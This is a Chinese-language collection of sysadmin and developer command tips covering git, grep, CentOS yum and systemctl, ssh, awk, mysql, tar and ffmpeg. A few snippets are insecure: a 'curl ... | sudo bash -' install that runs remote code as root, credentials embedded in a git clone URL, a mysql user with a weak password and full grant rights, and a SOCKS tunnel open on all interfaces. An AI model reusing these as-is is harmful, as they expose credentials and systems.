git branch 不要分页

设置git branch不分页显示

1
git config --global pager.branch false


使用git合并特定的commit

比如要在master分支上合并其他分支的commit,commit id是37c89cc, 则命令是:

1
2
git checkout master
git cherry-pick 37c89cc


Github中clone私有仓库

Github中,对于私有仓库如果直接git clone, 会提示fatal: repository 'https://github.com/xxxxxx/yyyyyy.git/' not found
有两个方法可以用于克隆Github上的私有仓库

  1. 使用ssh key方式
  2. 使用显式的用户名密码的https方式

Github中使用账号密码方式clone私有仓库

git clone命令的url中,添加上github的用户名和密码即可。

1
git clone https://username:password@github.com/xxxxxx/yyyyyy.git

Github中使用ssh key方式clone私有仓库

~/.ssh/config中配置github中使用的key, 类似如下

1
2
3
4
Host "github.com"
HostName "github.com"
User "username"
IdentityFile ~/.ssh/id_rsa_for_github

接下来就可以clone代码了

1
git clone https://github.com/xxxxxx/yyyyyy.git

Reference


查看git中所有分支的日志

使用命令git log --all来查看所有分支的提交日志


在所有的branch中搜索

方法一

使用命令git grep "search-words" $(git rev-list --all) 来在所有的branch的commit中进行搜索。

该方法有一个问题,当git rev-list --all列出的commit很多时,可能会报-bash: /usr/bin/git: Argument list too long的错误

方法二

使用命令git rev-list --all | xargs git grep <expression> 来搜索,则不会有Argument list too long的问题

搜索限制在某个目录下的方法

以目录lib/util为例:

1
git grep <regexp> $(git rev-list --all -- lib/util) -- lib/util

两个命令中都带了lib/util,因为rev-list只是将有lib/util变更的revisions全部找出来,所以还需要在git grep中添加-- lib/util将搜索限定在找出来的revisions中的路径lib/util下。

其他用法

还有一些其他的搜索方法,参考How to grep (search) committed code in the Git history


git diff 不要分页

使用命令git --no-pager diff设置git diff时不要分页。


查找git中文件是否被ignore以及是被哪个配置文件ignore的

使用git check-ignore *来查找目录下是否有被ignore的文件。
使用git check-ignore -v *来查找目录下ignore的文件,以及是被哪个配置文件ignore的

例子:

1
2
3
4
5
$ git check-ignore *
node_modules
$ git check-ignore -v *
.gitignore:37:/node_modules node_modules
$

例子中可以看到当前目录node_modules是被git ignore的,是被当前目录下的.gitignore文件的37行的配置/node_modules给ignore的。

如果要检查单个文件或者目录是否被ignore了,那么将上述命令的*换为对应的文件即可, 如:

1
2
3
$ git check-ignore -v node_modules/ Gemfile
.gitignore:37:/node_modules node_modules/
$

可见Gemfile没有被ignore, node_modules/被文件.gitignore设置为ignore了。

参考:


git命令获取当前分支

使用git symbolic-ref --short -q HEAD来获取当前分支

参考:


获取git仓库中所有的branch

命令:

1
2
3
git branch -r | grep -v '\->' | while read remote; do git branch --track "${remote#origin/}" "$remote"; done
git fetch --all
git pull --all

一个完整的clone所有分支的例子

1
git clone ssh://user_name@git.xxxx.com/git/repository.git && cd repository && git branch -r | grep -v '\->' | while read remote; do git branch --track "${remote#origin/}" "$remote"; done && git fetch --all && git pull --all && cd ..

参考:


查找文件记录(包含已删除的文件)

如下命令可以用来查找文件的提交记录,即使文件已经被删除了。

  • 指定具体文件路径查找,适用于还记得文件路径的情况

    1
    git log --all --full-history -- <path-to-file>
  • 只显示最后一个和文件相关的commit

    1
    git log --all --full-history -1 -- <path-to-file>
  • 模糊查找,适用于只记得部分文件名的情况

    1
    git log --all --full-history -- "**/thefile.*"
  • 使用git log查找出文件所对应的commit后,使用git show显示具体commit情况

    1
    git show <SHA> -- <path-to-file>
  • 如果想要具体的文件,那么git checkout <SHA>临时切到指定分支查看对应的文件,

    1
    git checkout <SHA> -- <path-to-file>
  • 如果是查找删除的文件,那么<SHA>后面需要还有一个脱字符^

  • 使用<SHA>^, 因为当前<SHA>中的文件已经被删除了, 需要切换到前一个版本
    1
    git checkout <SHA>^ -- <path-to-file>

Git从远端分支checkout

如果只有一个remote, 直接git checkout branch_name就行。

如果有多个remote,则需要显示指定remote

1
git checkout -b fix-failing-tests origin/fix-failing-tests

参考:


Macos下tree显示中文

1
2
3
4
5
# 安装tree
brew install tree`
# 中文不乱码加参数 -N
tree -N

CentoOS 7 最小化安装后可能需要的一些命令

1
2
3
4
5
yum install wget curl
yum install unzip
yum install tree
yum install net-tools
yum install lszrz

CentOS 7 中命令行UI编辑网口信息的命令

1
2
3
$ yum install NetworkManager-tui
$ nmtui

CentOS 7中命令行安装GUI组件

1
2
3
4
5
6
# 安装组件
yum groupinstall "GNOME Desktop" "Graphical Administration Tools"
# 更改系统运行级别
ln -sf /lib/systemd/system/runlevel5.target /etc/systemd/system/default.target
# 重启
reboot

MacOS ffplay只有声音没有图像

如果rtmp地址加了单引号,ffplay会偶尔抽风只播放声音而没有视频, 去掉单引号或者使用双引号代替

1
2
3
4
5
6
# 可能会抽风,没有图像,只能解析音频信号
ffplay 'rtmp://192.168.187.128/live/room8878'
# 去掉单引号或换用双引号,没发现过问题
ffplay rtmp://192.168.187.128/live/room8878
ffplay "rtmp://192.168.187.128/live/room8878"


grep 中将binary file当做文本

grep加上-a参数,就可以将binary file当做text来对待.
man grep

1
2
-a, --text
Process a binary file as if it were text; this is equivalent to the --binary-files=text option.

grep 搜索非ASCII字符

命令如下,可用于搜索中文等

1
grep --color='auto' -P -n '[^\x00-\x7F]' filename

其中-P是以perl模式执行grep


grep 搜索控制字符和非可打印字符

搜索控制字符,比如^M,`^H等,其中^M需要通过ctrl + v + m来输出。

1
grep '[[:cntrl:]]' filename

搜索非可打印字符的命令如下:

1
grep '[^[:print:]]' filename


grep 只列出匹配的文件名

使用参数-l
解释如下:

1
2
3
4
5
-L, --files-without-match
Suppress normal output; instead print the name of each input file from which no output would normally have been printed. The scanning will stop on the first match.
-l, --files-with-matches
Suppress normal output; instead print the name of each input file from which output would normally have been printed. The scanning will stop on the first match. (-l is specified by POSIX.)


grep搜索排除目录

使用--exclude-dir参数,如果有多个目录要排除,那么可以添加多个--exclude-dir参数:

1
$ grep -nri 'nginx' ./ --exclude-dir=02_codes --exclude-dir=04_tickets

grep 搜索隐藏目录

使用grep -r search * .*来搜索所有的目录,包含隐藏目录和隐藏文件。


grep 如何同时搜索软连接目录内的内容

grep中遍历目录进行搜索,之前一直习惯使用-r来进行搜索,但如果搜索的目录中,有子目录是链接,则-r参数不会搜索这些链接的子目录。
如果想要搜索这些链接子目录,则需要使用-R参数。
GNU grep中,对-r-R两个参数的说明。

1
2
3
4
5
-r, --recursive
Read all files under each directory, recursively, following symbolic links only if they are on the command line. Note that if no file operand is given, grep searches the working directory. This is equivalent to the -d recurse option.
-R, --dereference-recursive
Read all files under each directory, recursively. Follow all symbolic links, unlike -r.

参考: Terminal: grep recursive - don’t search in symlink contents


MacOS下Betterzip quicklook不起作用

BetterZipQL被集成到BetterZip中了,因此brew在pull request 41954中删除了BetterZipQL。
需要使用brew cask install betterzip来安装BetterZip。BetterZip是收费软件,30天免费试用。但官网上说Quick Look功能在试用期结束后,还是可以免费使用。
如果安装完成后,发现quicklook功能没起作用,记得需要先在Application中打开一次BetterZip,别问我是怎么知道的。


MacOS下QuickLook的路径

全局目录: /Library/QuickLook/
用户目录: ~/Library/QuickLook/


CentOS 7下安装lspci

1
2
3
4
5
# 安装lspci
sudo yum install pciutils
# 更新PCI ID list
sudo update-pciids

rsync命令

1
2
3
4
5
# 密码方式
rsync -P -a -z -e ssh /from/dir/ username@hostname:/to/dir/
# identity file免密方式
rsync -Pav -e "ssh -i $HOME/.ssh/somekey" username@hostname:/from/dir/ /to/dir/

CentOS中启用epel repository

1
yum -y install epel-release

CentOS中systemctl常用命令小结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 启动服务
systemctl start nginx
# 停止服务
systemctl stop nginx
# 重启服务
systemctl restart nginx
# reload服务
systemctl reload nginx
# 列出服务状态
systemctl status nginx
# 开机启动服务类似于 chkconfig service on
systemctl enable nginx
# 开机停止服务,类似于chkconfig service off
systemctl disable nginx
# 查看服务是否开机启动
systemctl is-enabled nginx
# 查看所有服务状态
systemctl list-unit-files --type=service
# 查看当前运行的服务
systemctl list-units --type service

Split切割文件

1
2
# 按行切割
split -l 300 file.txt new_prefix

Gem切换源

Gem 切换为RubyChina https://gems.ruby-china.com/
ruby环境

1
2
3
4
$ gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/
$ gem sources -l
https://gems.ruby-china.com
# 确保只有 gems.ruby-china.com

Gemfile和Bundle情况, 修改Gemfile

1
source 'https://rubygems.org/'


rvm切换ruby安装源

1
2
3
4
5
# 用户级别
echo "ruby_url=https://cache.ruby-china.com/pub/ruby" >> ~/.rvm/user/db
# CentOS下系统级别
echo "ruby_url=https://cache.ruby-china.com/pub/ruby" >> /usr/local/rvm/user/db

gitignore例子

1
2
# Ignore Mac DS_Store files
.DS_Store

测试NTP服务器

1
ntpdate -q 1.cn.pool.ntp.org

CentOS下安装nslookup

1
2
yum install bind-utils
yum provides '*bin/nslookup'

列出Linux下目录的文件数

1
find DIR_NAME -type f | wc -l

按照文件修改日期查找文件

find命令可使用参数-mtime来搜索某个时间段的文件。
man中的解释如下:

1
2
3
-mtime n
File's data was last modified n*24 hours ago.
See the comments for -atime to understand how rounding affects the interpretation of file modification times.

n可以带正负号,-n指n天以内,+n指n天以前
以4天为例,用下图来讲解不带符号,正号和负号的用法:

1
2
3
4
5
6
7
8
9
10
4
<--->
-4
+------------------------->
+4
<-------+----+----+
| | | | | | | |
+------|----|----|---|---|---|---|---|---------->
| | | | | | | |
7 6 5 4 3 2 1 now

其中:

  • +4代表大于等于5天前的文件
  • -4代表小于等于4天内的文件
  • 4代表4~5那一天的文件

参考:


Linux下几个获取出口公网IP的命令

1
2
3
wget -qO- -t1 -T2 ipv4.icanhazip.com
curl myip.ipip.net
dig TXT +short o-o.myaddr.l.google.com @ns1.google.com | awk -F'"' '{ print $2}'

获取磁盘和CPU使用率的命令

1
2
3
4
5
6
7
8
9
10
## 获取CPU使用率
top -b -n2 | grep 'Cpu(s)' | tail -1 | awk '{print $2 + $4}'
top -bn 2 -d 0.01 | grep '^%Cpu' | tail -n 1 | gawk '{print $2+$4+$6}'
## 获取磁盘使用率
df -H --output=source,pcent 2>/dev/null | grep -vE '^Filesystem|tmpfs|cdrom' | while read file_system used
do
echo "..."
done

top -b参数是有bug的,第一次显示的cpu数据是错误的, 要用第二次的输出来获取CPU的实际使用率。
top的bug说明: https://askubuntu.com/a/399966以及Bug 174619 - top reports wrong values for CPU(s) in batch mode


解决停止操作后SSH连接断开的办法

在ssh命令中添加-o ServerAliveInterval=10参数,每隔10s向服务器发送心跳包。

1
ssh -o ServerAliveInterval=10 user@remote-ssh-server-ip


本地转义HTML的几个命令

1
2
3
4
5
Perl 版本
cat foo.html | perl -MHTML::Entities -pe 'decode_entities($_);'
Python 3 版本
cat foo.xml | python3 -c 'import html, sys; [print(html.unescape(l), end="") for l in sys.stdin]'

来自stackoverflow Bash script to convert from HTML entities to characters


EB手动打包时包含隐藏目录

进入源文件所在目录中工作

1
$ zip ../myapp.zip -r * .[^.]*

使用Git打包

1
2
# 创建当前分支上最新 Git 提交的 ZIP 存档
$ git archive --format=zip HEAD > <myapp>.zip

Linux下mail如何添加多个附件

mailx 命令中使用多个-a选项

1
$ mailx -s 'Few files attached' -a file1.txt -a file2.txt someone@some.com

https://stackoverflow.com/questions/14473732/attaching-more-than-2-files-in-mail-in-unix


top命令

指定刷新频率可以用-d参数

1
2
top -d 1
top -d 0.5

更改top显示排列方式的办法
You can interactively choose which column to sort on

  • press Shift+f to enter the interactive menu
  • press the up or down arrow until the %MEM choice is highlighted
  • press s to select %MEM choice
  • press enter to save your selection
  • press q to exit the interactive menu

按进程的CPU使用率排序
运行top命令后,键入大写P

按进程的内存使用率排序
运行top命令后,键入大写M。


使用ssh-keygen从私钥中获取公钥

命令如下:

1
ssh-keygen -y -f id_rsa_for_passphrase


获取key的fingerprint

命令为ssh-keygen -lf keyfile, 例子如下:

1
2
3
$ ssh-keygen -lf xxx.pub
2048 SHA256:MYSd7HJ9LKckp9MOs94ykNmc1AlifpBpBpp35qJQ+9Y carlshen@carl-3.local (RSA)
$


设置ssh tunnel

使用ssh 设置转发tunnel

1
2
3
4
5
# -N 不执行远程命令
# -f Requests ssh to go to background just before command execution.
# -D 指定绑定地址和端口 [bind_address:]port
# 将来着本地0.0.0.0:10086的流量转发到指定的host中
ssh -f -N -D 0.0.0.0:10086 -i id_rsa_key user@host


awk

awk中去除字段的前后空格

1
echo " 300173226 | news-icon " | awk -F '|' '{ print "src is ["$1"]["$2"]"}; {gsub(/^[ \t]+/,"",$2);gsub(/[ \t]+$/,"",$2);gsub(/^[ \t]+/,"",$1);gsub(/[ \t]+$/,"",$1); print "processed result is ["$1"]["$2"]"};'

awk中输出单引号, 使用\x27

1
awk '{print "\x27" $2 "\x27"}'

awk 3.x支持Interval expressions {n,m}

awk 3.x中默认不支持Interval expressions,如果需要开启,需要添加--re-interval参数, 4.0以上版本默认是开启的。

1
awk --re-interval -f xxx.awk

参考:

awk执行命令并获取返回

使用system()可以执行命令,但是没法获取返回值。要获取命令的返回值,可以使用cmd | getline的方式来。

1
2
3
4
5
6
awk 'BEGIN {
cmd = "date"
cmd | getline mydate
print "date is: ", mydate
close(cmd)
}'

参考:


CentOS下获取内存使用率

1
free | grep 'buffers/cache' | awk '{printf "%.2f", $3/($3+$4)*100}'

nginx一些常见配置选项

X-Frame-Options配置

1
2
3
4
5
6
7
# 允许某些domain引用
add_header X-Frame-Options "ALLOW-FROM http://example.com/,https://example.com/";
# 允许同源引用
add_header X-Frame-Options "SAMEORIGIN";
# 拒绝引用
add_header X-Frame-Options "DENY";
# 应用层面删除header或者不加header就是允许全部域名引用

CSP: frame-ancestors

1
2
# 设置可被iframe嵌入的网址,如有多个源,使用空格隔开
Content-Security-Policy: frame-ancestors www.baidu.com www.google.com;


使用script切换当前目录

使用bash执行shell script时,会启动一个子shell来执行该脚本。因此在脚本中的目录变换不会影响到父进程。
使用source script.sh的方式,可以在当前进程中执行script.sh的内容,以此来切换当前目录等。


使用ssh-copy-id拷贝公钥

将id_rsa.pub的公钥拷贝到目标主机对应账号的~/.ssh/authorized_keys中, 如果目录和文件不存在,会自动创建,并设置正确的权限。

1
ssh-copy-id -i ./id_rsa root@192.168.187.172


虚拟机中ssh登录慢

虚拟机中ssh登录Linux有时会慢,解决办法:
把文件/etc/ssh/sshd_config中的#UseDNS yes改为UseDNS no.
再重启sshd服务:systemctl restart sshd


Linux Watch重复运行命令

watch是Linux下周期性执行某个命令的程序。以全屏模式来显示执行结果。-n可以设置显示间隔。
参数:

-n:指定指令执行的间隔时间(秒);
-d:高亮显示指令输出信息不同之处;
-t:不显示标题。

1
2
3
4
5
# 每隔一秒高亮显示网络链接数的变化情况
watch -n 1 -d netstat -ant
# 高亮循环显示系统启动时间
watch -d uptime


passenger获取passenger_root和passenger_ruby

获取passenger_root的值

1
2
3
# passenger-config --root
/usr/local/rvm/gems/ruby-2.3.8/gems/passenger-6.0.4
#

获取passenger_ruby的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# passenger-config --ruby-command
passenger-config was invoked through the following Ruby interpreter:
Command: /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby
Version: ruby 2.3.8p459 (2018-10-18 revision 65136) [x86_64-linux]
To use in Apache: PassengerRuby /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby
To use in Nginx : passenger_ruby /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby
To use with Standalone: /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby /usr/local/rvm/gems/ruby-2.3.8/gems/passenger-6.0.4/bin/passenger start
## Notes for RVM users
Do you want to know which command to use for a different Ruby interpreter? 'rvm use' that Ruby interpreter, then re-run 'passenger-config about ruby-command'.
#
# passenger-config --ruby-command | grep 'To use in Nginx' | awk -F ':' '{print $2}'
passenger_ruby /usr/local/rvm/gems/ruby-2.3.8/wrappers/ruby
#

Reference:


Rvm 相关小命令

1
2
# 清理rvm缓存文件
rvm cleanup all

CentOS 7中显示和修改时区

显示当前系统时区命令timedatectl status

设置当前时区为北京时间timedatectl set-timezone Asia/Shanghai

列出所有支持的时区timedatectl list-timezones


修改CentOS 7中主机名字

修改主机名命令: hostnamectl set-hostname newname


CentOS 7中安装node 10.x

CentOS 7中base源的node版本是6.x,但很多新nmp包都需要8.x以上版本,所以base中的node有点老旧了。
下面记录在CentOS 7中从NodeSource安装node 10.x的步骤

1
2
$ curl –sL https://rpm.nodesource.com/setup_10.x | sudo bash -
$ sudo yum install nodejs

安装完毕后,可使用node -vnpm -v查看node和npm的版本


CentOS 7中安装yarn

1
2
3
$ curl --silent --location https://dl.yarnpkg.com/rpm/yarn.repo | sudo tee /etc/yum.repos.d/yarn.repo
$ sudo yum install yarn
$ yarn --version

让终端走代理的方法

设置http,https代理

1
export http_proxy="http://proxyAddress:port"; export HTTP_PROXY="http://proxyAddress:port"; export https_proxy="http://proxyAddress:port"; export HTTPS_PROXY="http://proxyAddress:port"

设置socks5代理:

1
export ALL_PROXY=socks5://proxyAddress:port


openssl查看证书的几个命令

1
2
3
4
5
6
7
8
# 查看KEY信息
$ openssl rsa -noout -text -in server.key
# 查看CSR信息
$ openssl req -noout -text -in server.csr
# 查看证书信息
$ openssl x509 -noout -text -in ca.crt

crontab中如何设置奇数天和偶数天运行

1
2
3
4
5
# Will only run on odd days:
0 0 1-31/2 * * /path/to/script
# Will only run on even days:
0 0 0-30/2 * * /path/to/script

Reference: How can I tell cron to run a command every other day (odd/even)


Shell大小写转换

1
echo $name | tr '[:lower:]' '[:upper:]'

或者

1
echo $name | tr '[a-z]' '[A-Z]'


du统计隐藏目录的大小

du 统计目录大小的一些用法。

1
2
3
4
5
6
7
8
9
10
11
# 统计非隐藏文件/目录的大小
du -sh *
# 统计隐藏文件/目录的大小
du -sh .[!.]*
# 统计全部文件/目录的大小
du -sh .[!.]* *
# 统计全部文件/目录的大小, 并按照大小排序
du -sch .[!.]* * |sort -h


du排除某些目录的用法

使用--exclude参数来排除某些目录

1
du -sh ./* --exclude=sql_dump


CentOS下网络使用工具

1
yum install iftop

如果yum源中没有, 就先安装epel源yum -y install epel-release


mysql dump数据库

mysql dump数据库命令

1
mysqldump -uusername --databases databasename -p > databasename_`date +%Y%m%d_%H%M%S`.sql

mysql 恢复命令

1
mysql -uusername databasename -p < databasename.sql

mysql dump全部表结构和索引

1
mysqldump -uusername -d databasename --compact --no-data -p > databasename.sql


mysql小命令

手动设置表的AUTO_INCREMENT

1
mysql> alter table table_name AUTO_INCREMENT = 100;

统计每个数据库的大小的sql

1
2
3
4
SELECT table_schema "DB Name",
ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) "DB Size in MB"
FROM information_schema.tables
GROUP BY table_schema;


mysql将值转换为float

使用mysql的DECIMAL[(M[,D])]方法, 可将值转为小数类型,转换对象可以是数值,可以是字符串

例子:

1
2
3
4
5
6
7
8
9
mysql> select CAST(12345 AS DECIMAL(10,2)) as '12345', CAST('56789' AS DECIMAL(10,2)) as '\"56789\"', CAST('4.5s' AS DECIMAL(10,2)) as '\"4.5s\"', CAST('s4.5' AS DECIMAL(10,2)) as '\"s4.5\"';
+----------+----------+--------+--------+
| 12345 | "56789" | "4.5s" | "s4.5" |
+----------+----------+--------+--------+
| 12345.00 | 56789.00 | 4.50 | 0.00 |
+----------+----------+--------+--------+
1 row in set, 1 warning (0.00 sec)
mysql>


给Mysql数据库添加unique key的步骤

对已经有数据的表添加unique key的步骤

  1. 检查数据库中字段是否有重复的值

    1
    2
    3
    4
    5
    -- Script 1
    select fooColumn, count(*) as cnt
    from barTable
    group by fooColumn
    having count(*) > 1
  2. 如果有重复的值,需要选出重复的值,进行处理

    1
    2
    3
    4
    5
    -- Script 2 - 选出有重复值的记录
    select * from barTable where fooColumn = <the selected non unique value>
    -- Script 3 - 处理重复记录的值
    update barTable set fooColumn = <a new unique value> where barTableId = <an existing unique value>;
  3. 创建新的unique key

    1
    create unique index idx_unique_fooColumn on barTable(fooColumn);
  4. 如果原来字段有单独的索引的话,删除旧的索引

    1
    drop index idx_old_fooColumn on barTable;

参考: How do you change a non-unique index to a unique index?


CentOS 7上安装mysql的简要步骤

步骤如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 安装mysql
wget https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm
md5sum mysql80-community-release-el7-3.noarch.rpm
yum localinstall mysql80-community-release-el7-3.noarch.rpm
yum install mysql-community-server
yum install mysql-community-devel
systemctl start mysqld
systemctl status mysqld
# 找临时密码
grep 'temporary password' /var/log/mysqld.log
# 修改密码
mysql_secure_installation
- 输入新的root密码
- 启动密码验证插件
- 密码强度选中等或强
- Remove anonymous users - YES
- Disallow root login remotely - N
- Remove test database and access to it - Y
- Reload privilege tables now - Y
# 测试Mysql
mysqladmin -u root -p version
# 添加账户carl在IP为172.25.55.101上的访问
CREATE USER 'carl'@'172.25.55.101' IDENTIFIED BY 'P@ssword';
GRANT ALL PRIVILEGES ON *.* TO 'carl'@'172.25.55.101' WITH GRANT OPTION;


CentOS 7删除老旧的mysql并重新安装的步骤

  1. 删除老旧的mysql

    1
    yum remove mysql mysql-server
  2. 移除mysql的数据目录

    1
    mv /var/lib/mysql /var/lib/mysql.bak
  3. 重新安装mysql

    1
    yum install mysql mysql-server

tar排除固定目录

使用--exclude=参数来排除目录,如果有多个目录需要排除,就使用多个--exclude=
记住目录后面不能加/, 否则目录还是会被tar打包

例子:

1
$ tar czvf ~/tmp/info.tar.gz --exclude=test_on_20180827 ./


不解压查看tar.gz中的文件列表

1
tar -tvf xxx.tar.gz

tar解压文件owner属性

关于解压出的文件的拥有者(owner)属性,有两个参数

1
2
3
4
--no-same-owner
extract files as yourself (default for ordinary users)
--same-owner
try extracting files with the same ownership as exists in the archive (default for superuser)

对超级用户来说,默认是--same-owner模式,tar包中原文件是什么解压出来就是什么。
对普通用户来说,默认是--no-same-owner模式,解压出来的文件的所有者默认是当前用户。

例子:

1
2
tar --no-same-owner -xzvf dist_ondeck.tar.gz
tar --same-owner -xzvf dist_ondeck.tar.gz


tar解压到指定目录

使用-C来指定解压目录, -C参数说明:

1
2
-C, --directory=DIR
change to directory DIR

例子:

1
2
# 将dist_ondeck.tar.gz中的文件解压至./ondeck目录中
tar --no-same-owner -xzvf dist_ondeck.tar.gz -C ./ondeck


不解压查看zip中的文件列表

只要使用less 文件名即可,less原生就支持zip文件的查看

1
less filename


Linux下查看网卡速率

使用ethtool命令查看网速信息。
Supported link modes中表示网卡支持的速率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# ethtool em1
Settings for em1:
Supported ports: [ TP ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Half 1000baseT/Full
Supported pause frame use: No
Supports auto-negotiation: Yes
Supported FEC modes: Not reported
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Half 1000baseT/Full
Advertised pause frame use: Symmetric
Advertised auto-negotiation: Yes
Advertised FEC modes: Not reported
Link partner advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Half 1000baseT/Full
Link partner advertised pause frame use: No
Link partner advertised auto-negotiation: Yes
Link partner advertised FEC modes: Not reported
Speed: 1000Mb/s
Duplex: Full
Port: Twisted Pair
PHYAD: 1
Transceiver: internal
Auto-negotiation: on
MDI-X: on
Supports Wake-on: g
Wake-on: d
Current message level: 0x000000ff (255)
drv probe link timer ifdown ifup rx_err tx_err
Link detected: yes
#


vim中查看识别的文件类型

命令如下:

1
:verbose set filetype?

markdown文件显示如下:

1
2
filetype=markdown
Last set from ~/.vimrc line 1063


vim中ESC失效问题

不知道装的哪个插件,有时候会导致ESC失效,按ESC会输出^M
此时可以先Ctrl + c, 然后就可以正常使用了。


iTerm2 分屏快捷键

新建tab: command + t
新建window: command + n
tab间切换: command + 数字键(9表示左右一个tab)
tab间切换: command + 方向键
同一tab垂直分屏: command + d
同一tab水平分屏: comamnd + shift + d
最近使用的分屏间切换: comamnd + ]和command + [
tab间切换: command + option + 方向键


iTerm2 如何发送命令到所有窗口

iTerms给多个Tab同时发送命令。
Command+Shift+i,之后输入命令,enter


Macos下安装OpenJDK

使用brew安装openJDK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ brew reinstall openjdk
==> Downloading https://homebrew.bintray.com/bottles/openjdk-14.0.1.mojave.bottle.tar.gz
Already downloaded: /Users/carlshen/Library/Caches/Homebrew/downloads/44add4279f37d89a5cd5e80a8776dac90b324b06512be00eaf3e186675c6561a--openjdk-14.0.1.mojave.bottle.tar.gz
==> Reinstalling openjdk
==> Pouring openjdk-14.0.1.mojave.bottle.tar.gz
==> Caveats
For the system Java wrappers to find this JDK, symlink it with
sudo ln -sfn /usr/local/opt/openjdk/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk.jdk
openjdk is keg-only, which means it was not symlinked into /usr/local,
because it shadows the macOS `java` wrapper.
If you need to have openjdk first in your PATH run:
echo 'export PATH="/usr/local/opt/openjdk/bin:$PATH"' >> /Users/carlshen/.bash_profile
For compilers to find openjdk you may need to set:
export CPPFLAGS="-I/usr/local/opt/openjdk/include"
==> Summary
🍺 /usr/local/Cellar/openjdk/14.0.1: 634 files, 319MB
$

设置系统java来使用openJDK

1
sudo ln -sfn /usr/local/opt/openjdk/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk.jdk


Linux shell中打印有颜色的字体

参考自: Printing a colored output

输出带颜色的字

Colors for text are represented by color codes, including, reset = 0, black = 30, red = 31, green = 32, yellow = 33, blue = 34, magenta = 35, cyan = 36, and white = 37.

1
2
# 打印红色字体, 其中\e[1;31m是设置红色,\e[0m是还原颜色
echo -e "\e[1;31m This is red text \e[0m This is reset."

输出带颜色背景的字

For a colored background, reset = 0, black = 40, red = 41, green = 42, yellow = 43, blue = 44, magenta = 45, cyan = 46, and white=47, are the commonly used color codes.

1
2
# 打印红色背景的字体,
echo -e "\e[1;41m 这是红色背景的字\e[0m 恢复原背景"

Mac下貌似不起作用。Mac下原生的echo太原始了。


统计代码的小工具

cloc是用于统计代码的一个小工具。
命令的安装方法

1
2
3
4
5
6
7
8
9
10
11
12
13
npm install -g cloc # https://www.npmjs.com/package/cloc
sudo apt install cloc # Debian, Ubuntu
sudo yum install cloc # Red Hat, Fedora
sudo dnf install cloc # Fedora 22 or later
sudo pacman -S cloc # Arch
sudo emerge -av dev-util/cloc # Gentoo https://packages.gentoo.org/packages/dev-util/cloc
sudo apk add cloc # Alpine Linux
doas pkg_add cloc # OpenBSD
sudo pkg install cloc # FreeBSD
sudo port install cloc # Mac OS X with MacPorts
brew install cloc # Mac OS X with Homebrew
choco install cloc # Windows with Chocolatey
scoop install cloc # Windows with Scoop

Docker方式运行

1
docker run --rm -v $PWD:/tmp aldanial/cloc -- cloc /tmp


FFMPEG从HLS流转换为MP4

来自: FFMPEG mp4 from http live streaming m3u8 file?

1
ffmpeg -i http://.../playlist.m3u8 -c copy -bsf:a aac_adtstoasc output.mp4


FFMPEG 将gif转为mp4

使用ffmpeg将gif转为mp4, 方便查看中间的内容。

1
ffmpeg -f gif -i input.gif output.mp4


you-get如何使用cookie

you-get使用-c可以指定cookie文件,来下载登录视频。
MacOS下可以使用firefox的cookie, 命令如下:

1
you-get -c ~/Library/Application\ Support/Firefox/Profiles/xxxxxxxx.default/cookies.sqlite 'https://v.qq.com/x/cover/divl44zx7b2h40k/k00261fum7u.html'


判断某个PID是否存在

使用ps -p来判断进程id是否存在。

1
2
3
4
5
output=$(ps -p "$pid")
if [ "$?" -eq 0 ]; then
echo "Found"
echo "$output"
fi


yum 命令小结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# 安装yum-config-manager
yum install yum-utils
# 查看yum repository
yum repolist [enabled|disabled|all]
# 启用某个yum repository
1. yum-config-manager --enable repository_name # 或者到
2. 到/etc/yum.repos.d目录下,找到要启动的repository的文件,修改enabled字段为1
# 禁用某个yum repository
1. yum-config-manager --disable repository_name
2. 到/etc/yum.repos.d目录下,找到要启动的repository的文件,修改enabled字段为0
# yum安装
yum install ftp
# yum更新
yum update ftp
# yum删除包
yum remove ftp
# yum 列出包
yum list ftp # 某个包
yum list installed # 列出已经安装的包
# 搜索某个包
yum search ftp
# 查看包的信息
yum info ftp
# 查看可更新的包
yum check-update
# yum group 相关
yum grouplist # 列出所有组
yum groupinstall '虚拟化主机' # 按组安装,支持中文
yum groupupdate '虚拟化主机' # 按组更新
yum groupremove '虚拟化主机' # 安祖删除
# yum 清理cache
yum clean all
# yum 清理metadat
yum clean metadata
# 查看yum源metadata过期时间
yum repolist enabled -v
# 查看yum操作记录列表
yum history 或 yum history list all
# 查看yum某个包的记录
yum history list PACKAGE_NAME
# 查看yum某条操作记录的详细信息
yum history info NUM
# yum回滚
yum history undo NUM
# 查看某个repository下的可用包, 以pgdg96为例
yum --disablerepo="*" --enablerepo="pgdg96" list available
# 查看某几个repository下的可用包, repository之间用逗号隔开
yum --disablerepo="*" --enablerepo="pgdg96,epel" list available
# 只更新来自某个repository的package
yum --disablerepo="*" --enablerepo="pgdg96,epel" update
# yum security相关
yum --security check-update # 检查安全更新
yum --security update # 只更新安全补丁
# 查看包依赖
yum deplist ImageMagick-devel
# 列出所有的包并安装固定版本的包
